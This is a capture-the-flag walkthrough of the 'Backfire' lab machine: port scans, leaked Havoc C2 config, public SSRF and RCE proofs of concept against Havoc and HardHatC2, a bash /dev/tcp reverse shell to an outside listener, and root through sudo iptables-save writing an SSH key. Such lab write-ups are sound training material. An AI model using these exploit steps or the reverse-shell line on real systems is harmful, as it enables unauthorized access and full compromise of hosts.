0xW1LD

Logo

Just some 0xW1LD stuff...

View My GitHub Profile

7 June 2025

Backfire

by 0xW1LD

Enumeration

As usual, start with a port scan, revealing this information:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
PORT     STATE SERVICE  REASON  VERSION
22/tcp   open  ssh      syn-ack OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJuxaL9aCVxiQGLRxQPezW3dkgouskvb/BcBJR16VYjHElq7F8C2ByzUTNr0OMeiwft8X5vJaD9GBqoEul4D1QE=
|   256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA2oT7Hn4aUiSdg4vO9rJIbVSVKcOVKozd838ZStpwj8
443/tcp  open  ssl/http syn-ack nginx 1.22.1
|_http-title: 404 Not Found
|_http-server-header: nginx/1.22.1
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=DEBUG CO/stateOrProvinceName=California/countryName=US/localityName=San Diego/postalCode=3369/streetAddress=
| Subject Alternative Name: IP Address:127.0.0.1
| Issuer: commonName=127.0.0.1/organizationName=DEBUG CO/stateOrProvinceName=California/countryName=US/localityName=San Diego/postalCode=3369/streetAddress=
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-17T17:45:29
| Not valid after:  2027-08-17T17:45:29
| MD5:   192f:dccd:4214:036f:9e59:7c11:7253:c3d3
| SHA-1: c7e1:db02:78e0:5030:4269:81bc:bdf8:4118:863e:7dbf
| -----BEGIN CERTIFICATE-----
| MIID6zCCAtOgAwIBAgIRANIPjZSIY+IOs1V6fWS76ccwDQYJKoZIhvcNAQELBQAw
| dzELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExEjAQBgNVBAcTCVNh
| biBEaWVnbzEJMAcGA1UECRMAMQ0wCwYDVQQREwQzMzY5MREwDwYDVQQKEwhERUJV
| RyBDTzESMBAGA1UEAxMJMTI3LjAuMC4xMB4XDTI0MDgxNzE3NDUyOVoXDTI3MDgx
| NzE3NDUyOVowdzELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExEjAQ
| BgNVBAcTCVNhbiBEaWVnbzEJMAcGA1UECRMAMQ0wCwYDVQQREwQzMzY5MREwDwYD
| VQQKEwhERUJVRyBDTzESMBAGA1UEAxMJMTI3LjAuMC4xMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAv9CKPm97LghhgD8GNVnL3WpMvFmJjL0lQdRyRwFe
| vwGUZqzejKymZguLA/g4OCnE3M5bpSfVT7by5OqnJx3PgZ2PwO2We3mUWQHNj1Wh
| 6XH5gk+auAPjNQxOb34Ohlag4a5yFRJ6/DPy+wVkRBhZip0wc7oC4Xz2/m6nk0Ei
| E0g+QfoEEvyCY2EQBTk1giAkL7SJG2zGhBtihvCa/Ti9Oqq9cD9UI3kQrMtygtfF
| PFbvtTFSGCS+Vs/R8YQyBlIbHVfCV8MEUOYBjHnuKJIrK6R1/m/eB2vWXQV6r1Sf
| gkQMGkQ2bqyU6JWhI15s5eaXEGgaylQku8CXZ0+bhIpk6QIDAQABo3IwcDAOBgNV
| HQ8BAf8EBAMCAqQwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1Ud
| EwEB/wQFMAMBAf8wHQYDVR0OBBYEFBSk/eEmbUV0Hg08vCKcMuXxHoDHMA8GA1Ud
| EQQIMAaHBH8AAAEwDQYJKoZIhvcNAQELBQADggEBAD2auQlrEmYTzwEHrUbNCylM
| E0sWu4R48JFT7bOJG2pCCjs1EwCJsZAxma2jUAOrfk4uyM1GtkbpgCHiLlD6YnIj
| entWh6ega+4hFRZ8nE7Z7bniTuD3VexrVRrBk6xtfa1F+uG3UG/HFOMWorJd6B+u
| CkqSTkABk+z6RWFGPT0mrTFVfuChi0nDTNL2cBz5qbFsLvAZR/MweQaNjn65YEJ1
| IJHfc79fItN61T6OYA/pqU1SbnRcvxd1Vj6T5bqGplL9pMtJPISqg1PphmfK4YtL
| bQWscvsM3tgG+Y40PbTKFRUJ8dZbxk2oQ1CWtTsm7RrhI5EYdnLeM7ttD9BHJGs=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
8000/tcp open  http     syn-ack nginx 1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 11:31  disable_tls.patch
| 875   17-Dec-2024 11:34  havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:30
Completed NSE at 23:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:30
Completed NSE at 23:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:30
Completed NSE at 23:30, 0.00s elapsed
Read data files from: /nix/store/2g83ish1i382wzig78pnlrh4377p1rbf-nmap-7.95/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.55 seconds

User

Http server running on 8000 is running a file server, presumably from an attacker who forgot to turn it off

we can find the following files inside: disable_tls.patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();

     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();

     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
                }

                // start the teamserver
-               if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+               if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
                        logger.Error("Failed to start websocket: " + err.Error())
                }

havoc.yaotl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "[REDACTED]"
    }

    user "sergej" {
        Password = "[REDACTED]"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1"
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

These indicate that Havoc C2 is running on the box

The following CVE: CVE-2024-41570 revealed this PoC: HavocC2 SSRF PoC

from this blog post: Unauthenticated SSRF on Havoc C2 teamserver via spoofed demon agent

based on information in the files we find out that the teamserver running on 127.0.0.1:40056

Let’s run the provided PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python3 ssrf.py -t https://backfire.htb -p 40056 -i 127.0.0.1
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
HTTP/1.1 307 Temporary Redirect
Location: /havoc
Date: Sun, 19 Jan 2025 06:57:32 GMT
Content-Length: 0
Connection: close

Seeing as we received a redirect I can confirm SSRF!

however this alone is not particularly useful, looking around more we can find this:

HavocC2 authenticated RCE

The above code requires a websocket connection to Havoc C2 and so we must pass the payload through the ssrf via websockets upgrade and alter the PoC.

After a couple weeks of the box’s release someone else released a significantly better PoC: Havoc C2 SSRF to RCE

Running this PoC using the credentials found in the file we get a shell as ilya!

Pivoting to Sergej

The shell closes after a while so I create an ssh public key on my local machine:

1
ssh-keygen -t rsa

and then copy id_rsa.pub to authorized_keys I am then able to ssh into the box as ilya

1
ssh ilya@backfire.htb

It seems Ilya talks about sergej and HardHatC2 in hardhat.txt

1
2
Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C# 

checking running processes we see user sergej is running HardHatC2

1
2
3
4
5
ps aux
sergej      5284  2.2  6.1 274254688 243900 ?    Ssl  20:50   0:04 /home/sergej/.dotnet/dotnet run --project TeamServer --configuration Release
sergej      5312  1.0  3.1 274204408 123880 ?    Sl   20:50   0:02 /home/sergej/HardHatC2/TeamServer/bin/Release/net7.0/TeamServer
sergej      5361  5.2  6.2 274271460 249388 ?    Ssl  20:51   0:05 /home/sergej/.dotnet/dotnet run --project HardHatC2Client --configuration Release
sergej      5393  1.6  3.4 274203928 136728 ?    Sl   20:51   0:01 /home/sergej/HardHatC2/HardHatC2Client/bin/Release/net7.0/HardHatC2Client

checking running ports we see: 7096 and 5000 open, the default ports for hardhat:

1
2
3
4
5
6
7
8
9
10
ss -tulnp
Netid                       State                        Recv-Q                       Send-Q                                             Local Address:Port                                              Peer Address:Port                      Process                       
udp                         UNCONN                       0                            0                                                        0.0.0.0:68                                                     0.0.0.0:*                                                       
tcp                         LISTEN                       0                            512                                                      0.0.0.0:5000                                                   0.0.0.0:*                                                       
tcp                         LISTEN                       0                            511                                                      0.0.0.0:443                                                    0.0.0.0:*                                                       
tcp                         LISTEN                       0                            4096                                                   127.0.0.1:8443                                                   0.0.0.0:*                                                       
tcp                         LISTEN                       0                            128                                                      0.0.0.0:22                                                     0.0.0.0:*                                                       
tcp                         LISTEN                       0                            511                                                      0.0.0.0:8000                                                   0.0.0.0:*                                                       
tcp                         LISTEN                       0                            4096                                                   127.0.0.1:40056                                                  0.0.0.0:*                                                       
tcp                         LISTEN                       0                            128                                                         [::]:22                                                        [::]:* 

portforwarding these ports via ssh:

1
ssh ilya@backfire.htb -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000

visiting https://127.0.0.1:7069 we see: looking around for vulnerabilities found this blogpost:

HardHatC2 0 day RCE authentication bypass

We can use the PoC provided in the above blog to create a user.

After adding a user, we can login and visit: /ImplantInteract in which we can interact with a shell by going to the terminal tab and clicking the + icon on the top right: typing in a command to get a reverse shell:

1
bash -c 'bash -i >& /dev/tcp/10.10.14.158/9001 0>&1'

we get a shell as sergej

Alternatively copying our id_rsa.pub into /home/sergej/.ssh/authorized_keys allows us to ssh into the box as sergej.

Root

Checking for privileges we found that Sergej can run iptables and iptables-save as root:

1
2
3
4
5
6
7
8
9
sudo -l
Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

looking around for privilege escalation using iptables and iptables-save I found this:

A journey from sudo iptables to local privilege escalation

Following along we are able to create a malicious ip-tables record however I am unable to write to /etc/passwd as is suggested in the blogpost:

1
2
sudo iptables-save -f /etc/passwd
Failed to open file, error: Operation not permitted

so instead I try to inject my public key into /root/.ssh/authorized_keys which allows us to ssh into the box:

1
2
root@backfire:~# whoami
root
tags: os/linux - diff/medium